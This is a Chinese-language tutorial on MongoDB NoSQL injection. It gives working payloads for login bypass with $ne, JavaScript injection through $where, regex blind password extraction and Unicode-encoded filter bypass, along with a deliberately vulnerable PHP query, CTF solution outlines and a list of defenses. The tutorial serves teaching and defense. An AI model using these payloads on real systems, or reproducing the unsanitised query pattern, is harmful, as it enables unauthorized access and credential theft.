Nosql 注入从零到一
字数 1856 2025-08-09 17:09:35

NoSQL注入从零到一:全面指南

什么是NoSQL

NoSQL(Not Only SQL)是一种非关系型数据库技术,用于处理大规模数据存储。与传统的关系型数据库(RDBMS)不同,NoSQL数据库不使用通用的SQL查询语言,而是使用特定于产品的查询语法。

MongoDB基础

MongoDB核心概念

  1. 数据库(Database):MongoDB实例可以包含多个独立数据库

    • 命令:show dbs显示所有数据库,db显示当前数据库
  2. 集合(Collection):相当于关系型数据库中的表

    • 命令:show collectionsshow tables显示集合
  3. 文档(Document):一组键值对,相当于表中的一行记录

    • 示例:{"name":"whoami", "age":19}

MongoDB基本操作

  1. 创建数据库

    use DATABASE_NAME
    
  2. 创建集合

    db.createCollection(name, options)
    
  3. 插入文档

    db.COLLECTION_NAME.insert(document)
    
  4. 更新文档

    • update()方法:
      db.collection.update(query, update, options)
      
    • save()方法:
      db.collection.save(document)
      
  5. 查询文档

    db.collection.find(query, projection)
    
    • 使用pretty()格式化输出

查询条件比较

操作 MongoDB语法 类似SQL语句
等于 {key:value} where key = value
小于 {key:{$lt:value}} where key < value
小于等于 {key:{$lte:value}} where key <= value
大于 {key:{$gt:value}} where key > value
大于等于 {key:{$gte:value}} where key >= value
不等于 {key:{$ne:value}} where key != value

NoSQL注入分类

1. 重言式注入(永真式注入)

原理:注入代码使条件表达式永远为真,绕过认证

示例

username[$ne]=1&password[$ne]=1

转换为MongoDB查询:

{'username':{$ne:1}, 'password':{$ne:1}}

2. 联合查询注入

原理:通过注入改变查询返回的数据集

示例

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

转换为:

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}

3. JavaScript注入

原理:利用MongoDB支持JavaScript执行的特性注入恶意代码

$where操作符注入

db.users.find({ $where: "function(){return(this.username == 'whoami')}" })

危险示例

username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1

4. 盲注

原理:当无回显时,使用$regex进行布尔盲注

示例

username=admin&password[$regex]=^123  // 测试密码是否以123开头
username=admin&password[$regex]=.{5}  // 测试密码长度是否为5

不同语言环境下的注入

PHP中的MongoDB注入

关键点

  • PHP的松散数组特性使value[$ne]=1转换为array($ne=>1)
  • 使用新版MongoDB PHP驱动时的注入方式

示例代码

$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];  // 用户可控输入
$password = $_POST['password'];  // 用户可控输入

$query = new MongoDB\Driver\Query(array(
    'username' => $username,
    'password' => $password
));

Node.js中的MongoDB注入

关键点

  • 使用mongoose模块时的注入方式
  • JSON格式的注入payload

示例

{"username":{"$ne":1},"password": {"$ne":1}}

或使用Unicode编码绕过过滤:

{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}

防御措施

  1. 输入验证:严格校验所有用户输入
  2. 参数化查询:使用驱动程序提供的安全方法
  3. 最小权限原则:数据库用户应仅具有必要权限
  4. 禁用危险功能:如无必要,禁用服务器端JavaScript执行
  5. 使用ORM:尽可能使用安全的ORM工具

CTF例题分析

[2021 MRCTF]Half-Nosqli

解题步骤

  1. 发现Swagger UI接口
  2. 使用NoSQL永真式绕过登录:
    {"email": {"$ne": ""}, "password": {"$ne": ""}}
    
  3. 获取token后利用SSRF漏洞

[GKCTF 2021]hackme

解题步骤

  1. 发现NoSQL注入提示
  2. 使用Unicode编码绕过过滤:
    {"username":{"\\u0024\\u006e\\u0065":1},"password":{"\\u0024\\u006e\\u0065":1}}
    
  3. 编写盲注脚本爆破密码

工具推荐

  1. NoSQLMap:自动化NoSQL注入工具
  2. NoSQLAttack:NoSQL注入测试工具(已停止维护)

总结

NoSQL注入与传统SQL注入有显著不同,攻击者可以利用应用程序的编程语言特性在数据库中执行命令,甚至可能在应用程序本身中执行代码。理解MongoDB的查询语法和不同语言环境下的注入方式对于防御此类攻击至关重要。

NoSQL注入从零到一:全面指南 什么是NoSQL NoSQL(Not Only SQL)是一种非关系型数据库技术,用于处理大规模数据存储。与传统的关系型数据库(RDBMS)不同,NoSQL数据库不使用通用的SQL查询语言,而是使用特定于产品的查询语法。 MongoDB基础 MongoDB核心概念 数据库(Database) :MongoDB实例可以包含多个独立数据库 命令: show dbs 显示所有数据库, db 显示当前数据库 集合(Collection) :相当于关系型数据库中的表 命令: show collections 或 show tables 显示集合 文档(Document) :一组键值对,相当于表中的一行记录 示例: {"name":"whoami", "age":19} MongoDB基本操作 创建数据库 : 创建集合 : 插入文档 : 更新文档 : update() 方法: save() 方法: 查询文档 : 使用 pretty() 格式化输出 查询条件比较 | 操作 | MongoDB语法 | 类似SQL语句 | |------------|--------------------------------|-----------------------| | 等于 | {key:value} | where key = value | | 小于 | {key:{$lt:value}} | where key < value | | 小于等于 | {key:{$lte:value}} | where key <= value | | 大于 | {key:{$gt:value}} | where key > value | | 大于等于 | {key:{$gte:value}} | where key >= value | | 不等于 | {key:{$ne:value}} | where key != value | NoSQL注入分类 1. 重言式注入(永真式注入) 原理 :注入代码使条件表达式永远为真,绕过认证 示例 : 转换为MongoDB查询: 2. 联合查询注入 原理 :通过注入改变查询返回的数据集 示例 : 转换为: 3. JavaScript注入 原理 :利用MongoDB支持JavaScript执行的特性注入恶意代码 $where操作符注入 : 危险示例 : 4. 盲注 原理 :当无回显时,使用 $regex 进行布尔盲注 示例 : 不同语言环境下的注入 PHP中的MongoDB注入 关键点 : PHP的松散数组特性使 value[$ne]=1 转换为 array($ne=>1) 使用新版MongoDB PHP驱动时的注入方式 示例代码 : Node.js中的MongoDB注入 关键点 : 使用mongoose模块时的注入方式 JSON格式的注入payload 示例 : 或使用Unicode编码绕过过滤: 防御措施 输入验证 :严格校验所有用户输入 参数化查询 :使用驱动程序提供的安全方法 最小权限原则 :数据库用户应仅具有必要权限 禁用危险功能 :如无必要,禁用服务器端JavaScript执行 使用ORM :尽可能使用安全的ORM工具 CTF例题分析 [ 2021 MRCTF ]Half-Nosqli 解题步骤 : 发现Swagger UI接口 使用NoSQL永真式绕过登录: 获取token后利用SSRF漏洞 [ GKCTF 2021 ]hackme 解题步骤 : 发现NoSQL注入提示 使用Unicode编码绕过过滤: 编写盲注脚本爆破密码 工具推荐 NoSQLMap :自动化NoSQL注入工具 NoSQLAttack :NoSQL注入测试工具(已停止维护) 总结 NoSQL注入与传统SQL注入有显著不同,攻击者可以利用应用程序的编程语言特性在数据库中执行命令,甚至可能在应用程序本身中执行代码。理解MongoDB的查询语法和不同语言环境下的注入方式对于防御此类攻击至关重要。